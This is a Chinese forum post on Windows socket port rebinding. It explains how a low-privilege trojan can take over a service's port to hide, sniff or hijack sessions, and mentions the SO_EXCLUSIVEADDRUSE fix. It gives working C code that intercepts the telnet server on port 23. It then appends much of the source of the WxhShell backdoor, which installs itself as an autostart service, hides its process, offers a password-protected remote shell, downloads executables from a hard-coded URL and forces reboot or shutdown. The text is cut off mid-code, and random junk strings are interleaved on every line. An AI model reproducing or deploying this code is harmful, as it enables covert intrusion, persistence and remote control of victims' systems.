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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: er.;qV'Wz6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "%ZAL\x  
Vx%!j&  
  saddr.sin_family = AF_INET; I_is3y0  
3oM&#a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tR<L9h  
qHu\3@px  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )W>9{*4 m  
KT0Pmpp5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l{Xy %8  
g(l:>=g]?  
  这意味着什么?意味着可以进行如下的攻击: TU^s!Tj  
P\%aJ'f~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gR${S|Z#u4  
vT#m 8Kg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GI%9Tif  
7X8n|NZRH7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  QB#_Wn  
+wcif-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FKy2C:R(]  
(!%w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5P[urOvV  
$pajE^d4V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H^XTzE  
xiO10:L4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N~%~Q  
^L-; S  
  #include w" Y'I$  
  #include #:=*n(GT  
  #include ok{ F=z  
  #include    ?~X^YxWsY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f@ .s(i=z  
  int main() =D Tbz3<  
  { &%4A3.qE  
  WORD wVersionRequested; 2+|U!X  
  DWORD ret; x{3q'2  
  WSADATA wsaData; hw1J <Pl*  
  BOOL val; l%# z  
  SOCKADDR_IN saddr; ZOy^TR  
  SOCKADDR_IN scaddr; /\U:F  
  int err; Go !{T  
  SOCKET s; `!C5"i8+i2  
  SOCKET sc; PoZxT-U  
  int caddsize; FSb4RuD9  
  HANDLE mt; yGC3B00Z  
  DWORD tid;   $1n\jN  
  wVersionRequested = MAKEWORD( 2, 2 ); $*C'{&2  
  err = WSAStartup( wVersionRequested, &wsaData ); yc0_ 7Im?  
  if ( err != 0 ) { -Xt0=3,  
  printf("error!WSAStartup failed!\n"); ^-,@D+eW  
  return -1; Nc*z?0wP  
  } f\~A72-  
  saddr.sin_family = AF_INET; P9M. J^<  
   l@g%A# _  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C~"b-T  
f`-UC_(;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |3Bms d/3  
  saddr.sin_port = htons(23); ZdlQ}l#F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C;m*0#9D  
  { ]~9YRVeC  
  printf("error!socket failed!\n"); S5e"}.]|  
  return -1; ~T9wx   
  } 4S*dNYc  
  val = TRUE; R0T{9,;[`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fz<GPw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @"n]v)[4  
  { Svm'ds7>  
  printf("error!setsockopt failed!\n"); !JbWxGN`jn  
  return -1; -_irkpdC[  
  } \Z_29L w=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3ZhuC".c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I~ e,']  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B>%;"OMp  
sfs2kiH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j"n"=rTTQ  
  { T]2=  
  ret=GetLastError(); 0xc|Wn>  
  printf("error!bind failed!\n"); T=VBKaSbU  
  return -1; [#;CBs5o  
  } {`V ^V_  
  listen(s,2); |D1TSv}rZD  
  while(1) la>H&  
  { 9 OZXs2~x  
  caddsize = sizeof(scaddr); Rg 5kFeS  
  //接受连接请求 #pk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @k\npFKQm  
  if(sc!=INVALID_SOCKET) U&gI_z[  
  { d8&T62Dnd4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j5G=ZI86y  
  if(mt==NULL) ZC3;QKw>  
  { !_>o2  
  printf("Thread Creat Failed!\n"); $J*lD -h-  
  break; @gk{wh>c  
  } [n&SA]a  
  } P9 qZjBS  
  CloseHandle(mt); m[tsG=XBN  
  } SEIJ+u9XsA  
  closesocket(s); yw*| HT  
  WSACleanup(); Y/y`c-VO  
  return 0; z|O3pQn~  
  }   j {Sbf04  
  DWORD WINAPI ClientThread(LPVOID lpParam) &S8,-~U  
  { Z=s.`?Z  
  SOCKET ss = (SOCKET)lpParam; ]r>m{"~E  
  SOCKET sc; I.kuYD62  
  unsigned char buf[4096]; Cps' l  
  SOCKADDR_IN saddr; f'O cW* t  
  long num; ov,[F< GT  
  DWORD val; LQJC]*b1  
  DWORD ret; _J>!K'Dz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .Xk#Cwm'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a$$aM2.2  
  saddr.sin_family = AF_INET; Dmr3r[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); '?d5L+9  
  saddr.sin_port = htons(23); H Yw7*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;jFUtG  
  { d t^Hd]+^\  
  printf("error!socket failed!\n"); !nTI(--  
  return -1; vo^2k13  
  } K?*p|&Fi?8  
  val = 100; g:Ry.=F7W  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4f'!,Q ;  
  { YtA<4XHU  
  ret = GetLastError(); #aIV\G  
  return -1; (B Ig  
  } -?vVV@W-O^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wLy:S.r  
  { ];\XA;aOl}  
  ret = GetLastError(); r;GAQH}j_  
  return -1; #&ayWef  
  } pV/5w<_x?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `IJTO_  
  { 6yd?xeD  
  printf("error!socket connect failed!\n"); vPD%5 AJN  
  closesocket(sc); `+@r0:G&v  
  closesocket(ss); >)VWXv0  
  return -1; CQH^VTQ  
  } -lb%X 3`  
  while(1) C#P7@JE  
  { 4tz@?T Cb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t""d^a#Dp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yQ| V7G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E51S#T  
  num = recv(ss,buf,4096,0);  yHn8t]{  
  if(num>0) qEM,~:lTn  
  send(sc,buf,num,0); hI,+J>  
  else if(num==0)  Vsd4;  
  break; B* k|NZj  
  num = recv(sc,buf,4096,0); 34 I Cn~  
  if(num>0) C5~ +"#B  
  send(ss,buf,num,0); 9b)'vr*Hy7  
  else if(num==0) !&pk^VFl+  
  break;  jRhRw;  
  } "89L^I  
  closesocket(ss); ESnir6HoU  
  closesocket(sc); >w#&fd  
  return 0 ; %FLe@.Ep{D  
  } ()zn8_z  
duoM >B>8]  
!r4B1fX  
========================================================== =4K:l}}  
kg^5D3!2{Q  
下边附上一个代码,,WXhSHELL M\r=i>(cu  
i:7cdhz  
========================================================== HjZf3VwI  
j<}y(~  
#include "stdafx.h" 8?h&FbmB  
I36ClOG  
#include <stdio.h> q0(-"}2l  
#include <string.h> NGkWr  
#include <windows.h> QT\"r T9#  
#include <winsock2.h> @^nE^;  
#include <winsvc.h> dm"|\7  
#include <urlmon.h> L 7l"*w(  
D{^CJ :n  
#pragma comment (lib, "Ws2_32.lib") E+~1GKd  
#pragma comment (lib, "urlmon.lib") r=<1*u  
kcE86Y=|x!  
#define MAX_USER   100 // 最大客户端连接数 +q] kpkG!  
#define BUF_SOCK   200 // sock buffer U|v@v@IBA  
#define KEY_BUFF   255 // 输入 buffer +5H1n(6)  
Aq_?8Cd  
#define REBOOT     0   // 重启 @m9dB P  
#define SHUTDOWN   1   // 关机 q m"AatA  
IY}{1[<N  
#define DEF_PORT   5000 // 监听端口 _vUId?9@+e  
#-kx$(''V  
#define REG_LEN     16   // 注册表键长度 @[~j|YH}  
#define SVC_LEN     80   // NT服务名长度 >[4CQK`U  
nk2H^RM^  
// 从dll定义API q5~"8]Dls  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nBzju?X)I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l|fb;Giq=D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _7,4C?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gg6<4T1  
CW?R7A/  
// wxhshell配置信息 -"}nm!j /5  
struct WSCFG { 2cko GafG{  
  int ws_port;         // 监听端口 x{1S!A^  
  char ws_passstr[REG_LEN]; // 口令 tW%!|T5/  
  int ws_autoins;       // 安装标记, 1=yes 0=no M)CQ|P  
  char ws_regname[REG_LEN]; // 注册表键名 (*Q8!"D^6  
  char ws_svcname[REG_LEN]; // 服务名 a 9Kws[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~> S? m;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OD).kP}s^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EgTj   
int ws_downexe;       // 下载执行标记, 1=yes 0=no y(Tb=:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QQQN}!xPj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v[<;z(7Qk  
`9nk{ !X\  
}; AP0z~e  
X9o6} %Y  
// default Wxhshell configuration )u.%ycfeV  
struct WSCFG wscfg={DEF_PORT, %+L3Xk]m'  
    "xuhuanlingzhe", :@^T^  
    1, pW-aX)\DR  
    "Wxhshell", BP8jReX^  
    "Wxhshell", 3Cg0^~?6-  
            "WxhShell Service", _o{w<b&  
    "Wrsky Windows CmdShell Service", i:x<Vi  
    "Please Input Your Password: ", 'nfdOX.d  
  1, B }  
  "http://www.wrsky.com/wxhshell.exe", =A<a9@N}N  
  "Wxhshell.exe" DVw 04ay%  
    }; SlD7 \X&~  
N==Y]Z$G  
// 消息定义模块 fDKV`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w %R=kY)o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %( #kJZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .]ZMxDZ  
char *msg_ws_ext="\n\rExit."; /v7o!D1G  
char *msg_ws_end="\n\rQuit."; J@o$V- KK  
char *msg_ws_boot="\n\rReboot..."; A<[BR*n  
char *msg_ws_poff="\n\rShutdown..."; ]".SW5b_  
char *msg_ws_down="\n\rSave to "; 7? qRz  
_dwJ;j`2  
char *msg_ws_err="\n\rErr!"; Y#rd' 8  
char *msg_ws_ok="\n\rOK!"; c<5(c%a  
0E/16@6=  
char ExeFile[MAX_PATH]; oe{,-<yck  
int nUser = 0; u9G  
HANDLE handles[MAX_USER]; ?J28@rM  
int OsIsNt; oC|']r6  
U2*kuP+n  
SERVICE_STATUS       serviceStatus; )CG,Udu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W"\O+  
o=Ia{@   
// 函数声明 $zJ!L  
int Install(void); !Er)|YP  
int Uninstall(void); 6yedl0@wa!  
int DownloadFile(char *sURL, SOCKET wsh); h&<>nK   
int Boot(int flag); SH;:bLk_  
void HideProc(void); V~S(cO[vj  
int GetOsVer(void); DB.)/(zWQ  
int Wxhshell(SOCKET wsl); #NQx(C  
void TalkWithClient(void *cs); -~&T0dt~  
int CmdShell(SOCKET sock); KdLj1T  
int StartFromService(void); UI74RP  
int StartWxhshell(LPSTR lpCmdLine); U9x6\Iy  
;#ElJXS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R;H>#caJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .12H/F  
vec4R )S  
// 数据结构和表定义 $DhW=(YM_a  
SERVICE_TABLE_ENTRY DispatchTable[] = {@ Z%6%'9  
{ *&$2us0%%  
{wscfg.ws_svcname, NTServiceMain}, b2UqN]{  
{NULL, NULL} JjnWv7W3$  
}; k:*vD"  
gi<%: [jT  
// 自我安装 <Eh_  
int Install(void) WU{9lL=  
{ |/~ISB  
  char svExeFile[MAX_PATH]; pU[5f5_  
  HKEY key; oU)3du   
  strcpy(svExeFile,ExeFile); jDCf]NvOPM  
$B?IE#7S4  
// 如果是win9x系统,修改注册表设为自启动 `WlQ<QEi  
if(!OsIsNt) { ]DLs'W;)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h[r)HX0hA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /e]R0NI  
  RegCloseKey(key); :p.f zL6X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .pPtBqp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a`8svo;VUO  
  RegCloseKey(key); s1 (UOd7}  
  return 0; jF|LPWl  
    } $im6v  
  } 0hCUr]cZ,  
} /H :Bu  
else { H<ZXe!q(nx  
RW^e#z>m"E  
// 如果是NT以上系统,安装为系统服务 |snWO0iF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c<imqDf  
if (schSCManager!=0) z?.XVk-  
{ - e_B  
  SC_HANDLE schService = CreateService /R[P sB  
  ( EL;OYW(  
  schSCManager, ]vZ}4Xno  
  wscfg.ws_svcname, M nDa ag  
  wscfg.ws_svcdisp, "rR$2`v"  
  SERVICE_ALL_ACCESS, BD&AtOj[,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Fz^5cxmw  
  SERVICE_AUTO_START, V5S6?V \  
  SERVICE_ERROR_NORMAL, !b'!7p  
  svExeFile, (]sk3 A  
  NULL, G'WbXX  
  NULL, m";?B1%x  
  NULL, 'Jl3%axR  
  NULL, C&&33L  
  NULL /[UuHU5*R  
  ); #gRtCoew  
  if (schService!=0) .MW/XnCYs4  
  { s|-g)  
  CloseServiceHandle(schService); GW!%DT  
  CloseServiceHandle(schSCManager); &ej |DM6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fP;2qho  
  strcat(svExeFile,wscfg.ws_svcname); ZG1 {"J/z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %^(} fu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ls{]ohP  
  RegCloseKey(key); y.?Q  
  return 0; ANXN.V  
    } 2>Sr04Pt  
  } n-:n.JX  
  CloseServiceHandle(schSCManager); mZ4I}_\,  
} !sav~dB)  
} ?D=t:=  
rl XMrn  
return 1; xqzB=0  
} MFs W  
% e1`wMa  
// 自我卸载 SOQR(UT  
int Uninstall(void) ;N!W|G  
{ ki9vJ<  
  HKEY key; NA9ss  
J|N>}di  
if(!OsIsNt) { HOlMj!.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4nGr?%>  
  RegDeleteValue(key,wscfg.ws_regname); 8|-064i>  
  RegCloseKey(key); 95 oh}c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <(B: "wI  
  RegDeleteValue(key,wscfg.ws_regname);  f%c-  
  RegCloseKey(key); "Sd2VSLg  
  return 0; 4Q^i"jT  
  } <77v8=as5  
} s]i<D9h  
} 6|ENDd[  
else { - xQJY)  
}d16xp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D]WU,a[$Bc  
if (schSCManager!=0) eLyaTOZadu  
{ ?Fj >7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uqK[p^{  
  if (schService!=0) fg~9{1B  
  { xZp`Ke!  
  if(DeleteService(schService)!=0) { +y|H#(wBP  
  CloseServiceHandle(schService); CO.e.:h  
  CloseServiceHandle(schSCManager); mY/x|)MmM  
  return 0; F=8gtk|U  
  } :qO)^~x  
  CloseServiceHandle(schService); mKhlYV n  
  } O - N> X  
  CloseServiceHandle(schSCManager); VU(#5X%Pn  
} 7wwlZ;w  
} #;Z+ X)  
c`4i#R  
return 1; _-bEnF+/0  
} R9O[`~BA2  
j[\aGS7u  
// 从指定url下载文件 b2HHoIT  
int DownloadFile(char *sURL, SOCKET wsh) qjVhBu7A  
{ 4z^5|$?_ta  
  HRESULT hr; tCirdwmg  
char seps[]= "/"; }[8Nr+y  
char *token; yZ57uz  
char *file; t/0h)mL}  
char myURL[MAX_PATH]; e8$OV4X  
char myFILE[MAX_PATH]; ,?Nc\Q<:  
qW'5Zk  
strcpy(myURL,sURL); DJ<F8-sb2r  
  token=strtok(myURL,seps); EJZb3  
  while(token!=NULL) SoJ'y6  
  { ?&GV~DYxA  
    file=token; T1c.ER}17  
  token=strtok(NULL,seps); XoqmT/P  
  } 5W~-|8m  
pG9qD2C f  
GetCurrentDirectory(MAX_PATH,myFILE); 0I \l_St@  
strcat(myFILE, "\\"); ;,F:.<P  
strcat(myFILE, file); g7nqe~`{  
  send(wsh,myFILE,strlen(myFILE),0); 6qzyeli  
send(wsh,"...",3,0); 6I,4 6 XZ-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iH[ .u{h  
  if(hr==S_OK) BA cnFO  
return 0; $Hbd:1%i {  
else VA0p1AD  
return 1; [^GXHE=  
TBp$S=_**  
} rytaC(  
Af{K#R8!  
// 系统电源模块 !$|h[ct  
int Boot(int flag) o 9]2  
{ &[iunJv:eq  
  HANDLE hToken; GMRFZw_M  
  TOKEN_PRIVILEGES tkp; RFq&#3f$  
qGPIKu  
  if(OsIsNt) { #Mmr{4m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v$i[dZSN[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "I`g(q#Uo  
    tkp.PrivilegeCount = 1; wUBug  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HtbN7V/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S6pvbaMZ  
if(flag==REBOOT) { ^RO_B}n3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %V3xO%  
  return 0; *{e?%!Q  
} Zo(p6rku  
else { U>jLh57  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )/ 2J|LxS  
  return 0; Fi!XaO  
} 4ZN&Yf`  
  } n.\|NR'v  
  else { ?g\SF}2  
if(flag==REBOOT) { 7o5~J)qIC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JK@" &  
  return 0; <.qhW^>X  
} R" '=^  
else { :k*3?*'K  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7y2-8e L  
  return 0; (<:mCPk(~  
} k%S;N{Qh@  
} o#ajBOJ  
_wMYA8n  
return 1; pJpTOq\h  
} yC<[LH  
 %SSBXWP  
// win9x进程隐藏模块 8rwXbYx x  
void HideProc(void) @+`">a8} ,  
{ \C(dWs  
G8E=E<Yg~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r=o\!sh[  
  if ( hKernel != NULL ) FaUc"J  
  { :0)nL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7w]NG`7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -w#Hy>E  
    FreeLibrary(hKernel); ?c!W*`yP  
  } ttaYtV]]  
oykqCN  
return; 37M?m$BL  
} IFg(Ze~  
+S3r]D3v/  
// 获取操作系统版本 {F~:8 6z(g  
int GetOsVer(void) f<T"# G$5  
{ #MhieG5  
  OSVERSIONINFO winfo; b=-LQkcZhK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iB=v >8l%  
  GetVersionEx(&winfo); <h"*"q|9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |Q _]+[  
  return 1; r-+S^mOE]  
  else 9/x_p;bI  
  return 0; N=X(G(  
} 7Odw{pc  
%ut7T!Jp  
// 客户端句柄模块 Q|`sYm'.  
int Wxhshell(SOCKET wsl) }1/`<m  
{ Q[M?LNE`  
  SOCKET wsh; ~ [4oA$[a|  
  struct sockaddr_in client; !U2Wiks  
  DWORD myID; "uthFE  
z]J pvw`p  
  while(nUser<MAX_USER) #*|0WaC  
{ KW~fW r8  
  int nSize=sizeof(client); vKvT7Zxc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d^Jf(NE0Yo  
  if(wsh==INVALID_SOCKET) return 1; Xw2tCRzD  
,n &e,I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `?PpzDV7Y  
if(handles[nUser]==0) %bs~%6)  
  closesocket(wsh); TnvX&Y'  
else QNzx(IV@  
  nUser++; - #ta/*TT:  
  } 8eVQnp*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  HSR^R  
cI Byv I-  
  return 0; l$s8O0-'T  
} F/qx2E$*wo  
z'FJx2  
// 关闭 socket Apfs&{Uy  
void CloseIt(SOCKET wsh) Qs^Rh F\d  
{ <hO|:LX  
closesocket(wsh); @4Ox$M  
nUser--; n#|pR2  
ExitThread(0); J:q:g*Wi  
} mP?~#RZ  
o|v_+<zD!  
// 客户端请求句柄 8@f=GJf  
void TalkWithClient(void *cs) e{dYLQd  
{ )|`# BC  
d&'}~C`~k  
  SOCKET wsh=(SOCKET)cs; #<\A[Po  
  char pwd[SVC_LEN]; dt efDsK  
  char cmd[KEY_BUFF]; > $#v\8  
char chr[1]; nDh D"rc  
int i,j; '{t&!M`  
}Z~& XL=  
  while (nUser < MAX_USER) { q i27:oJ  
-Xw i}/OX  
if(wscfg.ws_passstr) { 1gZW~6a}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *k]izWsV*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e uF@SS  
  //ZeroMemory(pwd,KEY_BUFF); C(^IX"9 #  
      i=0; jd&kak  
  while(i<SVC_LEN) { MMI7FlfY  
Xyrf$R'  
  // 设置超时 Y;L,}/[  
  fd_set FdRead; `V;vvHP A  
  struct timeval TimeOut; 'WA]DlO  
  FD_ZERO(&FdRead); *c[X{  
  FD_SET(wsh,&FdRead); XSu9C zx&I  
  TimeOut.tv_sec=8; Wn9b</ tf  
  TimeOut.tv_usec=0; S$Cht6m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oA _,jsD4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }h6 N.vz  
{bSi3oI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B[]v[q<  
  pwd=chr[0]; ?G#T6$E8  
  if(chr[0]==0xd || chr[0]==0xa) { 5DHFxym'  
  pwd=0; /kAu&}  
  break; P7||d@VW,  
  } AvN\^ &G  
  i++; FE`:1  
    } fFHT`"bD:  
~;f,Ad`Q  
  // 如果是非法用户,关闭 socket 2 f8Cs$Opb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "Zh6j)[o  
} c&Mci"n j0  
Iaq7<$XU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pm*6&,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +{$NN  
d`z),A=  
while(1) { O=HT3gp&  
.[ Z<r>  
  ZeroMemory(cmd,KEY_BUFF); Felu`@b  
9Okb)K95  
      // 自动支持客户端 telnet标准   QzwA*\G  
  j=0; ~olta\|  
  while(j<KEY_BUFF) { qw!_/Z3[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >l\?K8jL9  
  cmd[j]=chr[0]; J&xH "U  
  if(chr[0]==0xa || chr[0]==0xd) { B/(]AWi+  
  cmd[j]=0; M``I5r*cg  
  break; CywQ  
  } 6NO_S  
  j++; W6&s_ (  
    } DL^}?Ve  
6o_t;cpT  
  // 下载文件 ]"3(UKx  
  if(strstr(cmd,"http://")) { @bN`+DC!<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H$ !78/f  
  if(DownloadFile(cmd,wsh)) vKzq7E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .}}w@NO  
  else FM c9oyU~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); USKa6<:{W  
  } 2qb,bp1$  
  else { ;xnJ+$//U  
kp~@Ub @O3  
    switch(cmd[0]) { 5z8!Nmb/  
  BPoY32d"_  
  // 帮助 F+Qp mVU  
  case '?': { >g+ogwZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xwwy9:ze*l  
    break; J~0_  
  } >-s\$8En'  
  // 安装 *Ge2P3  
  case 'i': { D (MolsKc?  
    if(Install()) ?lh `>v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6#/Riu%  
    else L}bS"=B[&W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , qj  
    break; !+?,y/*5(  
    } ,FvBZ.4c3=  
  // 卸载 : kVEB<G  
  case 'r': { .c[v /SB]  
    if(Uninstall()) : -@o3Syg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^K4#_H#"  
    else r@_`ob RW;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aj1o   
    break; %)7HBj(*J  
    } 'J&&F2O%  
  // 显示 wxhshell 所在路径 7|A9  
  case 'p': { P"`OuN  
    char svExeFile[MAX_PATH]; ]j.??'+rg  
    strcpy(svExeFile,"\n\r"); \0'7p-T6  
      strcat(svExeFile,ExeFile); zV(F9}^  
        send(wsh,svExeFile,strlen(svExeFile),0); /dU-$}>ZI  
    break; 69U[kW&  
    } q M( n]{H  
  // 重启 k%iZ..  
  case 'b': { C:77~f-+rQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9/rX%  
    if(Boot(REBOOT)) X\?e=rUfn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -5Qsc/ s&  
    else { (UDR=7w)  
    closesocket(wsh); $7{|  
    ExitThread(0); *(PQaXx4  
    } CU3[{a  
    break; 5*=a*nD11  
    } rrGsam\.  
  // 关机 .JNU3%s  
  case 'd': { fmDU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fqaysy  
    if(Boot(SHUTDOWN)) s6k,'`.  
